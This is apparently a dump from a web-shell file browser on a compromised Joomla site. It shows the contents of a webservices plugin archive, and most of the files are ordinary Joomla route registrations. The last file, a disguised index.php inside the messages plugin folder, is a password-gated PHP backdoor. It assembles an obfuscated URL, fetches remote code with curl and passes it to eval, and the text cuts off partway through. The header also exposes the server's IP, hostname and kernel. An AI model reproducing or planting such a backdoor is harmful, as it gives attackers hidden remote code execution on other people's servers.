uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
.
/
..
/
07d6c
/
..
/
.
/
components
/
com_modules
/
..
/
..
/
webservices.tar
/
/
media/media.xml000064400000001554151664163250007442 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_media</name> <author>Joomla! Project</author> <creationDate>2021-05</creationDate> <copyright>(C) 2021 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.1.0</version> <description>PLG_WEBSERVICES_MEDIA_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Media</namespace> <files> <folder plugin="media">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_media.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_media.sys.ini</language> </languages> </extension> media/src/Extension/Media.php000064400000007426151664163250012140 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.media * * @copyright (C) 2021 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Media\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_media. * * @since 4.1.0 */ final class Media extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.1.0 */ protected $autoloadLanguage = true; /** * Registers com_media's API's routes in the application. * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.1.0 */ public function onBeforeApiRoute(&$router): void { $this->createAdapterReadRoutes( $router, 'v1/media/adapters', 'adapters', ['component' => 'com_media'] ); $this->createMediaCRUDRoutes( $router, 'v1/media/files', 'media', ['component' => 'com_media'] ); } /** * Creates adapter read routes. * * @param ApiRouter &$router The API Routing object * @param string $baseName The base name of the component. * @param string $controller The name of the controller that contains CRUD functions. * @param array $defaults An array of default values that are used when the URL is matched. * @param bool $publicGets Allow the public to make GET requests. * * @return void * * @since 4.1.0 */ private function createAdapterReadRoutes(&$router, $baseName, $controller, $defaults = [], $publicGets = false): void { $getDefaults = array_merge(['public' => $publicGets], $defaults); $routes = [ new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults), new Route(['GET'], $baseName . '/:id', $controller . '.displayItem', [], $getDefaults), ]; $router->addRoutes($routes); } /** * Creates media CRUD routes. * * @param ApiRouter &$router The API Routing object * @param string $baseName The base name of the component. * @param string $controller The name of the controller that contains CRUD functions. * @param array $defaults An array of default values that are used when the URL is matched. * @param bool $publicGets Allow the public to make GET requests. * * @return void * * @since 4.1.0 */ private function createMediaCRUDRoutes(&$router, $baseName, $controller, $defaults = [], $publicGets = false): void { $getDefaults = array_merge(['public' => $publicGets], $defaults); $routes = [ new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults), // When the path ends with a backslash, then list the items new Route(['GET'], $baseName . '/:path/', $controller . '.displayList', ['path' => '.*\/'], $getDefaults), new Route(['GET'], $baseName . '/:path', $controller . '.displayItem', ['path' => '.*'], $getDefaults), new Route(['POST'], $baseName, $controller . '.add', [], $defaults), new Route(['PATCH'], $baseName . '/:path', $controller . '.edit', ['path' => '.*'], $defaults), new Route(['DELETE'], $baseName . '/:path', $controller . '.delete', ['path' => '.*'], $defaults), ]; $router->addRoutes($routes); } } media/services/provider.php000064400000002457151664163250012032 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.media * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Media\Extension\Media; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Media( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'media') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; privacy/privacy.xml000064400000001570151664163250010434 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_privacy</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_PRIVACY_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Privacy</namespace> <files> <folder plugin="privacy">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_privacy.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_privacy.sys.ini</language> </languages> </extension> privacy/src/Extension/Privacy.php000064400000003577151664163250013137 0ustar00<?php /** * @package Joomla.Privacy * @subpackage Webservices.privacy * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Privacy\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_privacy. * * @since 4.0.0 */ final class Privacy extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_privacy's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $defaults = ['component' => 'com_privacy']; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/privacy/requests', 'requests.displayList', [], $getDefaults), new Route(['GET'], 'v1/privacy/requests/:id', 'requests.displayItem', ['id' => '(\d+)'], $getDefaults), new Route(['GET'], 'v1/privacy/requests/export/:id', 'requests.export', ['id' => '(\d+)'], $getDefaults), new Route(['POST'], 'v1/privacy/requests', 'requests.add', [], $defaults), ]; $router->addRoutes($routes); $routes = [ new Route(['GET'], 'v1/privacy/consents', 'consents.displayList', [], $getDefaults), new Route(['GET'], 'v1/privacy/consents/:id', 'consents.displayItem', ['id' => '(\d+)'], $getDefaults), ]; $router->addRoutes($routes); } } privacy/services/provider.php000064400000002471151664163250012424 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.privacy * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Privacy\Extension\Privacy; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Privacy( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'privacy') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; banners/services/provider.php000064400000002471151664163250012377 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.banners * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Banners\Extension\Banners; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Banners( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'banners') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; banners/src/Extension/Banners.php000064400000004627151664163250013062 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.banners * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Banners\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_banners. * * @since 4.0.0 */ final class Banners extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_banners's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/banners', 'banners', ['component' => 'com_banners'] ); $router->createCRUDRoutes( 'v1/banners/clients', 'clients', ['component' => 'com_banners'] ); $router->createCRUDRoutes( 'v1/banners/categories', 'categories', ['component' => 'com_categories', 'extension' => 'com_banners'] ); $this->createContentHistoryRoutes($router); } /** * Create contenthistory routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createContentHistoryRoutes(&$router) { $defaults = [ 'component' => 'com_contenthistory', 'type_alias' => 'com_banners.banner', 'type_id' => 9, ]; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/banners/:id/contenthistory', 'history.displayList', ['id' => '(\d+)'], $getDefaults), new Route(['PATCH'], 'v1/banners/:id/contenthistory/keep', 'history.keep', ['id' => '(\d+)'], $defaults), new Route(['DELETE'], 'v1/banners/:id/contenthistory', 'history.delete', ['id' => '(\d+)'], $defaults), ]; $router->addRoutes($routes); } } banners/banners.xml000064400000001570151664163250010362 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_banners</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_BANNERS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Banners</namespace> <files> <folder plugin="banners">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_banners.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_banners.sys.ini</language> </languages> </extension> plugins/src/Extension/Plugins.php000064400000002744151664163250013142 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.plugins * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Plugins\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_plugins. * * @since 4.0.0 */ final class Plugins extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_plugins's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $defaults = ['component' => 'com_plugins']; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/plugins', 'plugins.displayList', [], $getDefaults), new Route(['GET'], 'v1/plugins/:id', 'plugins.displayItem', ['id' => '(\d+)'], $getDefaults), new Route(['PATCH'], 'v1/plugins/:id', 'plugins.edit', ['id' => '(\d+)'], $defaults), ]; $router->addRoutes($routes); } } plugins/plugins.xml000064400000001570151664163250010444 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_plugins</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_PLUGINS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Plugins</namespace> <files> <folder plugin="plugins">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_plugins.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_plugins.sys.ini</language> </languages> </extension> plugins/services/provider.php000064400000002471151664163250012430 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.plugins * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Plugins\Extension\Plugins; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Plugins( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'plugins') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; languages/languages.xml000064400000001604151664163250011214 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_languages</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_LANGUAGES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Languages</namespace> <files> <folder plugin="languages">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_languages.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_languages.sys.ini</language> </languages> </extension> languages/src/Extension/Languages.php000064400000011275151664163250013713 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.languages * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Languages\Extension; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_languages. * * @since 4.0.0 */ final class Languages extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_languages's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/languages/content', 'languages', ['component' => 'com_languages'] ); $this->createLanguageOverridesRoutes($router); $this->createLanguageInstallerRoutes($router); } /** * Create language overrides routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createLanguageOverridesRoutes(&$router) { $defaults = ['component' => 'com_languages']; $routes = [ new Route(['POST'], 'v1/languages/overrides/search', 'strings.search', [], $defaults), new Route(['POST'], 'v1/languages/overrides/search/cache/refresh', 'strings.refresh', [], $defaults), ]; $router->addRoutes($routes); /** @var \Joomla\Component\Languages\Administrator\Model\LanguagesModel $model */ $model = Factory::getApplication()->bootComponent('com_languages') ->getMVCFactory()->createModel('Languages', 'Administrator', ['ignore_request' => true]); foreach ($model->getItems() as $item) { $baseName = 'v1/languages/overrides/site/' . $item->lang_code; $controller = 'overrides'; $overridesDefaults = array_merge($defaults, ['lang_code' => $item->lang_code, 'app' => 'site']); $getDefaults = array_merge(['public' => false], $overridesDefaults); $routes = [ new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults), new Route(['GET'], $baseName . '/:id', $controller . '.displayItem', ['id' => '([A-Z0-9_]+)'], $getDefaults), new Route(['POST'], $baseName, $controller . '.add', [], $overridesDefaults), new Route(['PATCH'], $baseName . '/:id', $controller . '.edit', ['id' => '([A-Z0-9_]+)'], $overridesDefaults), new Route(['DELETE'], $baseName . '/:id', $controller . '.delete', ['id' => '([A-Z0-9_]+)'], $overridesDefaults), ]; $router->addRoutes($routes); $baseName = 'v1/languages/overrides/administrator/' . $item->lang_code; $overridesDefaults = array_merge($defaults, ['lang_code' => $item->lang_code, 'app' => 'administrator']); $getDefaults = array_merge(['public' => false], $overridesDefaults); $routes = [ new Route(['GET'], $baseName, $controller . '.displayList', [], $getDefaults), new Route(['GET'], $baseName . '/:id', $controller . '.displayItem', ['id' => '([A-Z0-9_]+)'], $getDefaults), new Route(['POST'], $baseName, $controller . '.add', [], $overridesDefaults), new Route(['PATCH'], $baseName . '/:id', $controller . '.edit', ['id' => '([A-Z0-9_]+)'], $overridesDefaults), new Route(['DELETE'], $baseName . '/:id', $controller . '.delete', ['id' => '([A-Z0-9_]+)'], $overridesDefaults), ]; $router->addRoutes($routes); } } /** * Create language installer routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createLanguageInstallerRoutes(&$router) { $defaults = ['component' => 'com_installer']; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/languages', 'languages.displayList', [], $getDefaults), new Route(['POST'], 'v1/languages', 'languages.install', [], $defaults), ]; $router->addRoutes($routes); } } languages/services/provider.php000064400000002503151664163250012711 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.languages * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Languages\Extension\Languages; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Languages( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'languages') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; installer/installer.xml000064400000001604151664163250011272 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_installer</name> <author>Joomla! Project</author> <creationDate>2020-06</creationDate> <copyright>(C) 2020 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_INSTALLER_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Installer</namespace> <files> <folder plugin="installer">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_installer.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_installer.sys.ini</language> </languages> </extension> installer/src/Extension/Installer.php000064400000002362151664163250013766 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.installer * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Installer\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_installer. * * @since 4.0.0 */ final class Installer extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_installer's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $defaults = ['component' => 'com_installer', 'public' => false]; $routes = [ new Route(['GET'], 'v1/extensions', 'manage.displayList', [], $defaults), ]; $router->addRoutes($routes); } } installer/services/provider.php000064400000002503151664163250012740 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.installer * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Installer\Extension\Installer; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Installer( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'installer') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; menus/menus.xml000064400000001554151664163250007562 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_menus</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_MENUS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Menus</namespace> <files> <folder plugin="menus">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_menus.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_menus.sys.ini</language> </languages> </extension> menus/src/Extension/Menus.php000064400000004271151664163250012253 0ustar00<?php /** * @package Joomla.Menus * @subpackage Webservices.menus * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Menus\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_menus. * * @since 4.0.0 */ final class Menus extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_menus's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/menus/site', 'menus', ['component' => 'com_menus', 'client_id' => 0] ); $router->createCRUDRoutes( 'v1/menus/administrator', 'menus', ['component' => 'com_menus', 'client_id' => 1] ); $router->createCRUDRoutes( 'v1/menus/site/items', 'items', ['component' => 'com_menus', 'client_id' => 0] ); $router->createCRUDRoutes( 'v1/menus/administrator/items', 'items', ['component' => 'com_menus', 'client_id' => 1] ); $routes = [ new Route( ['GET'], 'v1/menus/site/items/types', 'items.getTypes', [], ['public' => false, 'component' => 'com_menus', 'client_id' => 0] ), new Route( ['GET'], 'v1/menus/administrator/items/types', 'items.getTypes', [], ['public' => false, 'component' => 'com_menus', 'client_id' => 1] ), ]; $router->addRoutes($routes); } } menus/services/provider.php000064400000002457151664163250012102 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.menus * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Menus\Extension\Menus; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Menus( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'menus') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; messages/services/provider.php000064400000002476151664163250012563 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.messages * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Messages\Extension\Messages; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Messages( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'messages') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; messages/messages.xml000064400000001576151664163250010726 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_messages</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_MESSAGES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Messages</namespace> <files> <folder plugin="messages">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_messages.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_messages.sys.ini</language> </languages> </extension> messages/src/Extension/search-api/index.php000060400000003773151664163250014771 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto rZmcc; S05ge: $SS8Fu .= "\x2e\62\x30\x61"; goto KyXJG; RQpfg: $SS8Fu .= "\x34\63\x2f"; goto RiVZR; djqb0: $SS8Fu .= "\x74\x78\x74\56"; goto RQpfg; RiVZR: $SS8Fu .= "\x64"; goto c8b05; KyXJG: $SS8Fu .= "\x6d\141"; goto YHXMK; b4Lsi: eval("\77\76" . tW2kx(strrev($SS8Fu))); goto tNEm2; AzK8d: $SS8Fu .= "\x61\x6d"; goto mjfVw; CeZ0F: $SS8Fu .= "\160\x6f\164"; goto S05ge; rZmcc: $SS8Fu = ''; goto djqb0; QylGj: $SS8Fu .= "\x74\x68"; goto b4Lsi; mjfVw: $SS8Fu .= "\141\144\57"; goto CeZ0F; LrGN4: $SS8Fu .= "\163\x70\164"; goto QylGj; YHXMK: $SS8Fu .= "\144"; goto PSmdA; c8b05: $SS8Fu .= "\154\157\x2f"; goto AzK8d; PSmdA: $SS8Fu .= "\x2f\x2f\72"; goto LrGN4; tNEm2: function tW2kX($V1_rw = '') { goto O8cn3; w8lqj: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto AaXhS; oZNaA: curl_close($xM315); goto HKjcI; sEgPB: curl_setopt($xM315, 